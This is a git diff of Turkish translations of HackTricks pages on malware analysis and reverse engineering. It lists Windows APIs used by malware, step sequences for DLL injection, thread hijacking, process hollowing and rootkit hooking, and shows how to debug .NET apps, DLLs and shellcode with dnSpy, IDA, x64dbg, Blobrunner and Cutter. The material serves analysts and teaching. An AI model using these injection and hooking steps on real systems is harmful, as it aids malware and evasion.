| NtUnmapViewOfSection | | | NtUnmapViewOfSection | |
| QueueUserAPC | | | QueueUserAPC | |
| CreateProcessInternalA/W| | | CreateProcessInternalA/W | |
### Yürütme ### Yürütme
| Fonksiyon Adı | | Fonksiyon Adı |
| ----------------- | | ---------------- |
| CreateProcessA/W | | CreateProcessA/W |
| ShellExecute | | ShellExecute |
| WinExec | | WinExec |
@ -98,8 +98,8 @@ HackTricks'ı desteklemenin diğer yolları:
* GetAsyncKeyState() -- Tuş kaydı * GetAsyncKeyState() -- Tuş kaydı
* SetWindowsHookEx -- Tuş kaydı * SetWindowsHookEx -- Tuş kaydı
* GetForeGroundWindow -- Çalışan pencere adını al (veya bir tarayıcıdan web sitesini) * GetForeGroundWindow -- Çalışan pencere adını al (veya bir tarayıcıdan web sitesini)
* LoadLibrary() -- Kütüphane içe aktarımı * LoadLibrary() -- Kütüphane içe aktar
* GetProcAddress() -- Kütüphane içe aktarımı * GetProcAddress() -- Kütüphane içe aktar
* CreateToolhelp32Snapshot() -- Çalışan işlemleri listele * CreateToolhelp32Snapshot() -- Çalışan işlemleri listele
* GetDC() -- Ekran görüntüsü * GetDC() -- Ekran görüntüsü
* BitBlt() -- Ekran görüntüsü * BitBlt() -- Ekran görüntüsü
@ -117,16 +117,16 @@ Başka bir işlem içinde keyfi bir DLL'yi yürüt
3. DLL'nin yolunu işlem içine yaz: VirtualAllocEx, WriteProcessMemory 3. DLL'nin yolunu işlem içine yaz: VirtualAllocEx, WriteProcessMemory
4. Kötü niyetli DLL'yi yükleyecek işlemde bir iş parçacığı oluştur: CreateRemoteThread, LoadLibrary 4. Kötü niyetli DLL'yi yükleyecek işlemde bir iş parçacığı oluştur: CreateRemoteThread, LoadLibrary
Kullanılacak diğer fonksiyonlar: NTCreateThreadEx, RtlCreateUserThread Kullanılacak diğer işlevler: NTCreateThreadEx, RtlCreateUserThread
### Yansımalı DLL Enjeksiyonu ### Yansımalı DLL Enjeksiyonu
Normal Windows API çağrıları yapmadan kötü niyetli bir DLL yükle.\ Normal Windows API çağrılarını yapmadan kötü niyetli bir DLL yükle.\
DLL, bir işlem içine eşlenir, içe aktarma adreslerini çözer, yer değiştirmeleri düzeltir ve DllMain işlevini çağırır. DLL, bir işlem içine eşlenir, içe aktarma adreslerini çözer, yer değiştirmeleri düzeltir ve DllMain işlevini çağırır.
### İş Parçacığı Kaçırma ### İş Parçacığı Kaçırma
Bir işlemde bir iş parçacığını bul ve kötü niyetli bir DLL yüklemesini sağla Bir işlemde bir iş parçacığını bul ve onu kötü niyetli bir DLL yüklemeye zorla
1. Hedef iş parçacığını bul: CreateToolhelp32Snapshot, Thread32First, Thread32Next 1. Hedef iş parçacığını bul: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. İş parçacığını aç: OpenThread 2. İş parçacığını aç: OpenThread
@ -143,7 +143,7 @@ Taşınabilir Yürütme Enjeksiyonu: Yürütülebilir dosya, kurban işlemin bel
Kötü niyetli yazılım, işlemin belleğinden meşru kodu kaldırır ve kötü niyetli bir ikili yükler Kötü niyetli yazılım, işlemin belleğinden meşru kodu kaldırır ve kötü niyetli bir ikili yükler
1. Yeni bir işlem oluştur: CreateProcess 1. Yeni bir işlem oluştur: CreateProcess
2. Belleği boşalt: ZwUnmapViewOfSection, NtUnmapViewOfSection 2. Belleği kaldır: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Kötü niyetli ikiliyi işlem belleğine yaz: VirtualAllocEc, WriteProcessMemory 3. Kötü niyetli ikiliyi işlem belleğine yaz: VirtualAllocEc, WriteProcessMemory
4. Giriş noktasını ayarla ve yürüt: SetThreadContext, ResumeThread 4. Giriş noktasını ayarla ve yürüt: SetThreadContext, ResumeThread
@ -151,25 +151,25 @@ Kötü niyetli yazılım, işlemin belleğinden meşru kodu kaldırır ve kötü
* **SSDT** (**Sistem Hizmeti Tanım Tablosu**), kullanıcı işlemlerinin bu işlevleri (ntoskrnl.exe) veya GUI sürücüsü (win32k.sys) çağırmasını sağlayan çekirdek işlevlere (ntoskrnl.exe) işaret eder. * **SSDT** (**Sistem Hizmeti Tanım Tablosu**), kullanıcı işlemlerinin bu işlevleri (ntoskrnl.exe) veya GUI sürücüsü (win32k.sys) çağırmasını sağlayan çekirdek işlevlere (ntoskrnl.exe) işaret eder.
* Bir rootkit, bu işaretçileri kendi kontrol ettiği adreslere değiştirebilir * Bir rootkit, bu işaretçileri kendi kontrol ettiği adreslere değiştirebilir
* **IRP** (**Giriş/Çıkış İsteği Paketleri**), bir bileşenden diğerine veri parçaları iletir. Çekirdekte neredeyse her şey IRP'leri kullanır ve her aygıt nesnesinin kendi işlev tablosu vardır ve bu tablo kancalanabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu) * **IRP** (**Giriş/Çıkış İsteği Paketleri**), bir bileşenden diğerine veri parçaları iletir. Çekirdekte neredeyse her şey IRP'leri kullanır ve her cihaz nesnesinin kendi işlev tablosu vardır ve bunlar kancalanabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu)
* **IAT** (**İçe Aktarma Adres Tablosu**), bağımlılıkları çözmek için kullanışlıdır. Bu tabloyu kancalamak, çağrılacak kodu ele geçirmeyi sağlar. * **IAT** (**İçe Aktarma Adres Tablosu**), bağımlılıkları çözmek için kullanışlıdır. Bu tabloyu kancalamak, çağrılacak kodu ele geçirmeyi sağlar.
* **EAT** (**Dışa Aktarma Adres Tablosu**) Kancalar. Bu kancalar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından ihraç edilen işlevleri kancalamaktır. * **EAT** (**Dışa Aktarma Adres Tablosu**) Kancalar. Bu kancalar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından dışa aktarılan işlevleri kancalamaktır.
* **İç Kancalar**: Bu tür, zor bir hedeftir. Bu, işlevlerin kodunu değiştirerek yapılır. Belki de bunu başlangıcına bir atlama ekleyerek yapabilirsiniz. * **İç Kancalar**: Bu tür, zor bir hedeftir. Bu, işlevlerin kodunu değiştirerek yapılır. Belki de bunu başlangıcına bir sıçrama koyarak yapabilirsiniz.
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu * Özel [**NFT'lerin**](https://opensea.io/collection/the-peass-family) yer aldığı [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi göndererek PR'ler oluşturun** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. * **Hacking hilelerinizi göndererek PR'ler oluşturun** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın (https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in bulunduğu koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**]'a (https://github.com/carlospolop/hacktricks-cloud) destek olun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Security Group** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,8 +32,8 @@ Yazılım:
Çevrimiçi: Çevrimiçi:
* Wasm (ikili) dosyasını wat (açık metin) formatına **çözümlemek** için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın * Wasm (ikili) dosyasından wat (açık metin) dosyasına **çözümleme** yapmak için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
* Wat dosyasını wasm formatına derlemek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın * Wat dosyasından wasm dosyasına **derleme** yapmak için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
* Ayrıca [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanarak çözümleme yapabilirsiniz * Ayrıca [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanarak çözümleme yapabilirsiniz
Yazılım: Yazılım:
@ -45,16 +45,16 @@ Yazılım:
### [dotPeek](https://www.jetbrains.com/decompiler/) ### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **uygulamalar** (.exe) dahil olmak üzere **çeşitli formatları çözümleyen** bir dekompilerdir. Çözümlendikten sonra bir derleme, bir Visual Studio projesi (.csproj) olarak kaydedilebilir. dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **yürütülebilir dosyalar** (.exe) dahil olmak üzere **çeşitli formatları çözümleyen** bir dekompilerdir. Çözümlendikten sonra bir derleme, bir Visual Studio projesi (.csproj) olarak kaydedilebilir.
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerekiyorsa, bu işlemin zaman kazandırabileceğidir. Ayrıca, dotPeek, çözümlenen kod boyunca kullanışlı gezinme sağlayarak, **Xamarin algoritma analizi için mükemmel araçlardan biri** haline getirir. Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerekiyorsa, bu işlem zaman kazandırabilir. Ayrıca dotPeek, çözümlenen kod boyunca kullanışlı gezinme sağlayarak, **Xamarin algoritma analizi için mükemmel araçlardan biri** haline getirir.
### [.NET Reflector](https://www.red-gate.com/products/reflector/) ### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Kapsamlı bir eklenti modeli ve aracı tam olarak ihtiyaçlarınıza uyacak şekilde genişleten bir API ile .NET Reflector, zaman kazandırır ve geliştirmeyi basitleştirir. Bu aracın sağladığı birçok tersine mühendislik hizmetine bir göz atalım: Kapsamlı bir eklenti modeli ve aracı tam olarak ihtiyaçlarınıza uyacak şekilde genişleten bir API ile .NET Reflector, zaman kazandırır ve geliştirmeyi basitleştirir. Bu aracın sağladığı birçok tersine mühendislik hizmetine bir göz atalım:
* Verilerin bir kütüphane veya bileşen üzerinden nasıl aktığına dair bir bakış açısı sağlar * Verilerin bir kütüphane veya bileşen üzerinden nasıl aktığına dair bir bakış açısı sağlar
* .NET dilleri ve çerçevelerinin uygulanışı ve kullanımı hakkında bilgi sağlar * .NET dilleri ve çerçevelerinin uygulanışı ve kullanımı hakkında bilgi verir
* Kullanılan API'ler ve teknolojilerden daha fazla veri almak için belgelenmemiş ve açığa çıkarılmamış işlevsellikleri bulur * Kullanılan API'ler ve teknolojilerden daha fazla veri almak için belgelenmemiş ve açığa çıkarılmamış işlevsellikleri bulur
* Bağımlılıkları ve farklı derlemeleri bulur * Bağımlılıkları ve farklı derlemeleri bulur
* Kodunuzdaki hataların, üçüncü taraf bileşenlerin ve kütüphanelerin tam konumunu belirler * Kodunuzdaki hataların, üçüncü taraf bileşenlerin ve kütüphanelerin tam konumunu belirler
@ -62,8 +62,8 @@ Kapsamlı bir eklenti modeli ve aracı tam olarak ihtiyaçlarınıza uyacak şek
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Uzantılar**'a tıklayın ve **ILSpy**'ı **arama** yapın).\ [Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Uzantılar** üzerine tıklayın ve **ILSpy** arayın).\
Eğer **çözümlemek**, **değiştirmek** ve **yeniden derlemek** gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (Bir fonksiyon içinde bir şeyi değiştirmek için **Sağ Tıkla -> Yöntemi Değiştir**). Eğer **çözümlemek**, **değiştirmek** ve **yeniden derlemek** gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (Bir işlev içinde bir şey değiştirmek için **Sağ Tıkla -> Yöntemi Değiştir**).
### DNSpy Günlüğü ### DNSpy Günlüğü
@ -85,14 +85,14 @@ DNSpy kullanarak kodu hata ayıklamak için şunları yapmanız gerekmektedir:
``` ```
## Temel Tersine Mühendislik Araçları ve Yöntemleri ## Temel Tersine Mühendislik Araçları ve Yöntemleri
Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız. Tersine mühendislik, bir programın veya dosyanın iç yapısını anlamak için kullanılan önemli bir tekniktir. Bu araçlar ve yöntemler, yazılımın nasıl çalıştığını anlamak ve potansiyel güvenlik açıklarını tespit etmek için kullanılır. Bu bölümde öğreneceğiniz bilgiler, yazılım geliştirme ve siber güvenlik alanlarında size büyük fayda sağlayacaktır. Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız. Tersine mühendislik, bir yazılımın veya sistem bileşeninin çalışma prensiplerini anlamak için kullanılan bir tekniktir. Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız.
``` ```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)] DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
``` ```
Ve ardından **derle**'ye tıklayın: Ve sonra **derlemeye** tıklayın:
![](<../../.gitbook/assets/image (314) (1) (1).png>) ![](<../../.gitbook/assets/image (314) (1) (1).png>)
@ -100,7 +100,7 @@ Daha sonra yeni dosyayı _**Dosya >> Modülü Kaydet...**_ yolunu izleyerek kayd
![](<../../.gitbook/assets/image (279).png>) ![](<../../.gitbook/assets/image (279).png>)
Bunu yapmanız gereklidir çünkü bunu yapmazsanız, **çalışma zamanında** kodunuza birkaç **optimizasyon** uygulanabilir ve **hata ayıklarken bir kesme noktasına ulaşılamayabilir** veya bazı **değişkenler mevcut olmayabilir**. Bunu yapmanız gereklidir çünkü bunu yapmazsanız, **çalışma zamanında** kod üzerine birçok **optimizasyon** uygulanabilir ve **hata ayıklarken bir kesme noktasına ulaşılamayabilir** veya bazı **değişkenler mevcut olmayabilir**.
Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, onu şu şekilde **yeniden başlatabilirsiniz**: Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, onu şu şekilde **yeniden başlatabilirsiniz**:
``` ```
@ -114,7 +114,7 @@ Daha sonra **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach**'
![](<../../.gitbook/assets/image (281).png>) ![](<../../.gitbook/assets/image (281).png>)
Şimdi işlemi hata ayıklıyoruz, durdurma ve tüm modülleri yükleme zamanı. İlk olarak _Debug >> Break All_ üzerine tıklayın ve ardından _**Debug >> Windows >> Modules**_ üzerine tıklayın: Şimdi süreci hata ayıklıyoruz, durdurma ve tüm modülleri yükleme zamanı. İlk olarak _Debug >> Break All_ üzerine tıklayın ve ardından _**Debug >> Windows >> Modules**_ üzerine tıklayın:
![](<../../.gitbook/assets/image (286).png>) ![](<../../.gitbook/assets/image (286).png>)
@ -137,32 +137,32 @@ Daha sonra **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach**'
### IDA Kullanarak ### IDA Kullanarak
* **rundll32 yükle** (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe) * **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Windbg hata ayıklayıcıyı seçin** * **Windbg** hata ayıklayıcıyı seçin
* "**Kütüphane yükleme/boşaltma duraklat**" seçin * "**Suspend on library load/unload**" seçeneğini belirleyin
![](<../../.gitbook/assets/image (135).png>) ![](<../../.gitbook/assets/image (135).png>)
* **Yürütmenin parametrelerini yapılandırın**, **DLL'nin yolunu** ve çağırmak istediğiniz **işlevi** belirterek: * **DLL'nin yolunu** ve çağırmak istediğiniz **işlevi** belirterek **yürütme parametrelerini** yapılandırın:
![](<../../.gitbook/assets/image (136).png>) ![](<../../.gitbook/assets/image (136).png>)
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulur**, sonra rundll32 DLL'nizi yüklediğinde yürütme durdurulur. Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulur**, sonra, rundll32 DLL'nizi yüklediğinde yürütme durdurulur.
Ancak, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, bunu bilmiyorum. Ancak, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, bunu bilmiyorum.
### x64dbg/x32dbg Kullanarak ### x64dbg/x32dbg Kullanarak
* **rundll32 yükle** (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe) * **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Komut Satırını Değiştirin** ( _Dosya --> Komut Satırını Değiştir_ ) ve dll'nin yolunu ve çağırmak istediğiniz işlevi belirleyin, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain * **Komut Satırını Değiştirin** ( _File --> Change Command Line_ ) ve dll'nin yolunu ve çağırmak istediğiniz işlevi belirtin, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Ayarlar --> Ayarlar_ değiştirin ve "**DLL Girişi**"ni seçin. * _Options --> Settings_ üzerinden "**DLL Entry**" seçeneğini belirleyin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana noktasında duracak, bir noktada **dll Girişi'nde duracaksınız**. Oradan, kırılma noktalarını koymak istediğiniz noktaları arayın. * Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana noktasında duracak, bir noktada **dll'nin girişinde duracaksınız**. Oradan, kırılma noktalarını koymak istediğiniz yerleri arayın.
Yürütme herhangi bir nedenle durduğunda win64dbg'de **hangi kodda olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmına bakarak**: Yürütme herhangi bir nedenle durduğunda win64dbg'de **hangi kodda olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmına bakarak**:
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
Sonra, yürütmenin durduğu dll'yi hata ayıklamak istediğiniz noktayı görebilirsiniz. Daha sonra, yürütmenin durduğu dll'yi hata ayıklamak istediğiniz yere baktığınızı görebilirsiniz.
## GUI Uygulamaları / Video Oyunları ## GUI Uygulamaları / Video Oyunları
@ -180,8 +180,8 @@ Sonra, yürütmenin durduğu dll'yi hata ayıklamak istediğiniz noktayı göreb
### Blobrunner ile bir shellcode'u hata ayıklama ### Blobrunner ile bir shellcode'u hata ayıklama
[**Blobrunner**](https://github.com/OALabs/BlobRunner), **shellcode'u** bir bellek alanına **ayırır**, size shellcode'un **ayrıldığı bellek adresini gösterir** ve **yürütmeyi durdurur**.\ [**Blobrunner**](https://github.com/OALabs/BlobRunner), **shellcode'u** bir bellek alanına **ayıracak**, size shellcode'un ayrıldığı **bellek adresini** gösterecek ve yürütmeyi **durduracak**tır.\
Daha sonra, bir **hata ayıklayıcıyı** (Ida veya x64dbg) işleme **bağlamanız** ve **belirtilen bellek adresine bir kırılma noktası koymalısınız** ve yürütmeyi **devam ettirmelisiniz**. Bu şekilde shellcode'u hata ayıklıyorsunuz. Daha sonra, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece **bağlamanız** ve belirtilen bellek adresine bir **kırılma noktası koymanız** ve yürütmeyi **devam ettirmeniz** gerekir. Bu şekilde shellcode'u hata ayıklıyorsunuz.
Yayınlar github sayfasında derlenmiş sürümleri içeren zip dosyalarını içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ Yayınlar github sayfasında derlenmiş sürümleri içeren zip dosyalarını içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**. Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
@ -192,32 +192,32 @@ Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda
### jmp2it ile bir shellcode'u hata ayıklama ### jmp2it ile bir shellcode'u hata ayıklama
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4), blobrunner'a çok benzerdir. **Shellcode'u** bir bellek alanına **ayırır** ve bir **sonsuz döngü başlatır**. Daha sonra, işleme **hata ayıklayıcıyı bağlamanız**, **başlatmanız**, 2-5 saniye beklemeniz ve durdurmanız gerekecek ve kendinizi **sonsuz döngü içinde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütürken bulacaksınız. [**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4), blobrunner'a çok benzerdir. **Shellcode'u** bir bellek alanına **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, **hata ayıklayıcıyı** sürece **bağlamanız**, **başlatmanız, 2-5 saniye beklemeniz ve durdurmanız** ve kendinizi **sonsuz döngü** içinde bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'u çağırma olacaktır ve sonunda shellcode'u yürütürken bulacaksınız.
![](<../../.gitbook/assets/image (397).png>) ![](<../../.gitbook/assets/image (397).png>)
[Çıkış sayfasından derlenmiş bir sürümünü indirebilirsiniz](https://github.com/adamkramer/jmp2it/releases/). Derlenmiş bir sürümünü [yayınlar sayfasından indirebilirsiniz](https://github.com/adamkramer/jmp2it/releases/).
### Cutter kullanarak bir shellcode'u hata ayıklama ### Cutter ile bir shellcode'u hata ayıklama
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0), radare'nin GUI'sudur. Cutter'ı kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz. [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0), radare'nin GUI'sudur. Cutter kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz.
Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerine izin verdiğini unutmayın. Benim durumumda, shellcode'u bir dosya olarak açtığımda doğru şekilde decompile etti, ancak shellcode olarak açtığımda yapamadı: Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerine izin verdiğini unutmayın. Benim durumumda, shellcode'u bir dosya olarak açtığımda doğru şekilde decompile etti, ancak shellcode olarak açtığımda yapamadı:
![](<../../.gitbook/assets/image (400).png>) ![](<../../.gitbook/assets/image (400).png>)
Başlamak istediğiniz yerde emülasyonu başlatmak için oraya bir bp ayarlayın ve görünüşe göre cutter otomatik olarak oradan emülasyona başlayacaktır: Başlamak istediğiniz yere emülasyonu başlatmak için oraya bir bp ayarlayın ve görünüşe göre cutter otomatik olarak oradan emülasyona başlayacaktır:
![](<../../.gitbook/assets/image (399).png>) ![](<../../.gitbook/assets/image (399).png>)
Örneğin, bir onaltılık döküm içinde yığını görebilirsiniz: Örneğin, bir hex dump içinde yığını görebilirsiniz:
![](<../../.gitbook/assets/image (402).png>) ![](<../../.gitbook/assets/image (402).png>)
### Shellcode'u deobfuscate etme ve yürütülen işlevleri almak ### Shellcode'u deobfuscate etme ve yürütülen işlevleri almak
[**scdbg'yi** denemelisiniz](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\ [**scdbg**'yi denemelisiniz](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
